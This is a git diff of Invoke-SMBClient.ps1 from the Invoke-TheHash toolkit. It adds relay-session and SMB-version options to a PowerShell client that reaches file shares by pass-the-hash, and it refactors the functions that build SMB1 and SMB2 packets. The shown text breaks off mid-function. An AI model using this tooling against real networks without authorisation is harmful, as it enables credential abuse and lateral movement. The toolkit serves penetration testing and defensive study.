diff options
Diffstat (limited to 'Invoke-SMBClient.ps1')
| -rw-r--r-- | Invoke-SMBClient.ps1 | 3787 |
1 files changed, 2035 insertions, 1752 deletions
diff --git a/Invoke-SMBClient.ps1 b/Invoke-SMBClient.ps1 index 74777f8..2463734 100644 --- a/Invoke-SMBClient.ps1 +++ b/Invoke-SMBClient.ps1 @@ -5,6 +5,9 @@ function Invoke-SMBClient Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and without SMB signing. Note that this client is slow compared to the Windows client. +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause + .PARAMETER Username Username to use for authentication. @@ -53,6 +56,13 @@ Get and Put: Prevents displaying of a progress bar. Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this if downloaded files are being corrupted. +.PARAMETER Session +Inveigh-Relay authenticated session. + +.PARAMETER Version +Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the +target. Note, only the signing check works with SMB1. + .EXAMPLE List the contents of a root share directory. Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose @@ -94,29 +104,51 @@ Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F Upload a file to share from a byte array variable. Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify +.EXAMPLE +List the contents of a share directory using an authenticated Inveigh-Relay session. +Invoke-SMBClient -Session 1 -Source \\server\share + .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> -[CmdletBinding()] +[CmdletBinding(DefaultParametersetName='Default')] param ( [parameter(Mandatory=$false)][ValidateSet("List","Recurse","Get","Put","Delete")][String]$Action = "List", [parameter(Mandatory=$false)][String]$Destination, - [parameter(Mandatory=$true)][String]$Username, - [parameter(Mandatory=$false)][String]$Domain, + [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, [parameter(Mandatory=$true)][Object]$Source, - [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][Switch]$Modify, [parameter(Mandatory=$false)][Switch]$NoProgress, + [parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto", + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, [parameter(Mandatory=$false)][Int]$Sleep=100 ) +if($Version -eq '1') +{ + $SMB_version = 'SMB1' +} +elseif($Version -eq '2.1') +{ + $SMB_version = 'SMB2.1' +} + +if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session') +{ + $signing_check = $true +} + function ConvertFrom-PacketOrderedDictionary { - param($packet_ordered_dictionary) + param($ordered_dictionary) - ForEach($field in $packet_ordered_dictionary.Values) + ForEach($field in $ordered_dictionary.Values) { $byte_array += $field } @@ -126,586 +158,619 @@ function ConvertFrom-PacketOrderedDictionary #NetBIOS -function Get-PacketNetBIOSSessionService() +function New-PacketNetBIOSSessionService { - param([Int]$packet_header_length,[Int]$packet_data_length) + param([Int]$HeaderLength,[Int]$DataLength) - [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) - $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] - $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) + $NetBIOSSessionService.Add("Length",$length) - return $packet_NetBIOSSessionService + return $NetBIOSSessionService } #SMB1 -function Get-PacketSMBHeader() +function New-PacketSMBHeader { - param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) - - $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) - $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) - $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) - $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) - $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) - $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) - $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) - - return $packet_SMBHeader + param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) + + $ProcessID = $ProcessID[0,1] + + $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $SMBHeader.Add("Command",$Command) + $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $SMBHeader.Add("Reserved",[Byte[]](0x00)) + $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Flags",$Flags) + $SMBHeader.Add("Flags2",$Flags2) + $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMBHeader.Add("TreeID",$TreeID) + $SMBHeader.Add("ProcessID",$ProcessID) + $SMBHeader.Add("UserID",$UserID) + $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $SMBHeader } -function Get-PacketSMBNegotiateProtocolRequest() +function New-PacketSMBNegotiateProtocolRequest { - param([String]$packet_version) + param([String]$Version) - if($packet_version -eq 'SMB1') + if($version -eq 'SMB1') { - [Byte[]]$packet_byte_count = 0x0c,0x00 + [Byte[]]$byte_count = 0x0c,0x00 } else { - [Byte[]]$packet_byte_count = 0x22,0x00 + [Byte[]]$byte_count = 0x22,0x00 } - $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - if($packet_version -ne 'SMB1') + if($version -ne 'SMB1') { - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) } - return $packet_SMBNegotiateProtocolRequest + return $SMBNegotiateProtocolRequest } -#SMB2 - -function Get-PacketSMB2Header() +function New-PacketSMBSessionSetupAndXRequest { - param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) - - [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 - - $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) - $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) - $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) - $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) - $packet_SMB2Header.Add("SMB2Header_CreditRequest",$packet_credit_request) - $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) - $packet_SMB2Header.Add("SMB2Header_ProcessID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) - $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) - $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SMB2Header + param([Byte[]]$SecurityBlob) + + [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1] + [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1] + + $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c)) + $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff)) + $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00)) + $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff)) + $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00)) + $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00)) + $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count) + $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length) + $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob) + $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00)) + $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00)) + + return $SMBSessionSetupAndXRequest } -function Get-PacketSMB2NegotiateProtocolRequest() +#SMB2 + +function New-PacketSMB2Header { - $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) - $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) - - return $packet_SMB2NegotiateProtocolRequest + param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) + + if($Signing) + { + $flags = 0x08,0x00,0x00,0x00 + } + else + { + $flags = 0x00,0x00,0x00,0x00 + } + + [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) + + if($message_ID.Length -eq 4) + { + $message_ID += 0x00,0x00,0x00,0x00 + } + + $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2Header.Add("Command",$Command) + $SMB2Header.Add("CreditRequest",$CreditRequest) + $SMB2Header.Add("Flags",$flags) + $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2Header.Add("MessageID",$message_ID) + $SMB2Header.Add("ProcessID",$ProcessID) + $SMB2Header.Add("TreeID",$TreeID) + $SMB2Header.Add("SessionID",$SessionID) + $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $SMB2Header } -function Get-PacketSMB2SessionSetupRequest() +function New-PacketSMB2NegotiateProtocolRequest { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) - - return $packet_SMB2SessionSetupRequest + $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $SMB2NegotiateProtocolRequest } -function Get-PacketSMB2TreeConnectRequest() +function New-PacketSMB2SessionSetupRequest { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) - $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) - - return $packet_SMB2TreeConnectRequest + param([Byte[]]$SecurityBlob) + + [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] + + $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) + $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) + + return $SMB2SessionSetupRequest } -function Get-PacketSMB2IoctlRequest() +function New-PacketSMB2TreeConnectRequest { - param([Byte[]]$packet_file_name) + param([Byte[]]$Buffer) - $packet_file_name_length = [System.BitConverter]::GetBytes($packet_file_name.Length + 2) + [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] - $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Function",[Byte[]](0x94,0x01,0x06,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_Length",$packet_file_name_length) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Flags",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_MaxReferralLevel",[Byte[]](0x04,0x00)) - $packet_SMB2IoctlRequest.Add("SMB2IoctlRequest_InData_FileName",$packet_file_name) + $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $SMB2TreeConnectRequest.Add("PathLength",$path_length) + $SMB2TreeConnectRequest.Add("Buffer",$Buffer) - return $packet_SMB2IoctlRequest + return $SMB2TreeConnectRequest } -function Get-PacketSMB2CreateRequest() +function New-PacketSMB2CreateRequest { - param([Byte[]]$packet_file_name,[Int]$packet_extra_info,[Int64]$packet_allocation_size) + param([Byte[]]$FileName,[Int]$ExtraInfo,[Int64]$AllocationSize) - if($packet_file_name) + if($FileName) { - $packet_file_name_length = [System.BitConverter]::GetBytes($packet_file_name.Length) - $packet_file_name_length = $packet_file_name_length[0,1] + $file_name_length = [System.BitConverter]::GetBytes($FileName.Length)[0,1] } else { - $packet_file_name = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00 - $packet_file_name_length = 0x00,0x00 + $FileName = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00 + $file_name_length = 0x00,0x00 } - if($packet_extra_info) + if($ExtraInfo) { - [Byte[]]$packet_desired_access = 0x80,0x00,0x10,0x00 - [Byte[]]$packet_file_attributes = 0x00,0x00,0x00,0x00 - [Byte[]]$packet_share_access = 0x00,0x00,0x00,0x00 - [Byte[]]$packet_create_options = 0x21,0x00,0x00,0x00 - [Byte[]]$packet_create_contexts_offset = [System.BitConverter]::GetBytes($packet_file_name.Length) + [Byte[]]$desired_access = 0x80,0x00,0x10,0x00 + [Byte[]]$file_attributes = 0x00,0x00,0x00,0x00 + [Byte[]]$share_access = 0x00,0x00,0x00,0x00 + [Byte[]]$create_options = 0x21,0x00,0x00,0x00 + [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length) - if($packet_extra_info -eq 1) + if($ExtraInfo -eq 1) { - [Byte[]]$packet_create_contexts_length = 0x58,0x00,0x00,0x00 + [Byte[]]$create_contexts_length = 0x58,0x00,0x00,0x00 } - elseif($packet_extra_info -eq 2) + elseif($ExtraInfo -eq 2) { - [Byte[]]$packet_create_contexts_length = 0x90,0x00,0x00,0x00 + [Byte[]]$create_contexts_length = 0x90,0x00,0x00,0x00 } else { - [Byte[]]$packet_create_contexts_length = 0xb0,0x00,0x00,0x00 - [Byte[]]$packet_allocation_size_bytes = [System.BitConverter]::GetBytes($packet_allocation_size) + [Byte[]]$create_contexts_length = 0xb0,0x00,0x00,0x00 + [Byte[]]$allocation_size_bytes = [System.BitConverter]::GetBytes($AllocationSize) } - if($packet_file_name) + if($FileName) { - [String]$packet_file_name_padding_check = $packet_file_name.Length / 8 + [String]$file_name_padding_check = $FileName.Length / 8 - if($packet_file_name_padding_check -like "*.75") + if($file_name_padding_check -like "*.75") { - $packet_file_name += 0x04,0x00 + $FileName += 0x04,0x00 } - elseif($packet_file_name_padding_check -like "*.5") + elseif($file_name_padding_check -like "*.5") { - $packet_file_name += 0x00,0x00,0x00,0x00 + $FileName += 0x00,0x00,0x00,0x00 } - elseif($packet_file_name_padding_check -like "*.25") + elseif($file_name_padding_check -like "*.25") { - $packet_file_name += 0x00,0x00,0x00,0x00,0x00,0x00 + $FileName += 0x00,0x00,0x00,0x00,0x00,0x00 } } - [Byte[]]$packet_create_contexts_offset = [System.BitConverter]::GetBytes($packet_file_name.Length + 120) + [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length + 120) } else { - [Byte[]]$packet_desired_access = 0x03,0x00,0x00,0x00 - [Byte[]]$packet_file_attributes = 0x80,0x00,0x00,0x00 - [Byte[]]$packet_share_access = 0x01,0x00,0x00,0x00 - [Byte[]]$packet_create_options = 0x40,0x00,0x00,0x00 - [Byte[]]$packet_create_contexts_offset = 0x00,0x00,0x00,0x00 - [Byte[]]$packet_create_contexts_length = 0x00,0x00,0x00,0x00 + [Byte[]]$desired_access = 0x03,0x00,0x00,0x00 + [Byte[]]$file_attributes = 0x80,0x00,0x00,0x00 + [Byte[]]$share_access = 0x01,0x00,0x00,0x00 + [Byte[]]$create_options = 0x40,0x00,0x00,0x00 + [Byte[]]$create_contexts_offset = 0x00,0x00,0x00,0x00 + [Byte[]]$create_contexts_length = 0x00,0x00,0x00,0x00 } - $packet_SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Flags",[Byte[]](0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_RequestedOplockLevel",[Byte[]](0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_DesiredAccess",$packet_desired_access) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_FileAttributes",$packet_file_attributes) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_ShareAccess",$packet_share_access) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateOptions",$packet_create_options) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_NameOffset",[Byte[]](0x78,0x00)) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_NameLength",$packet_file_name_length) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateContextsOffset",$packet_create_contexts_offset) - $packet_SMB2CreateRequest.Add("SMB2CreateRequest_CreateContextsLength",$packet_create_contexts_length) - 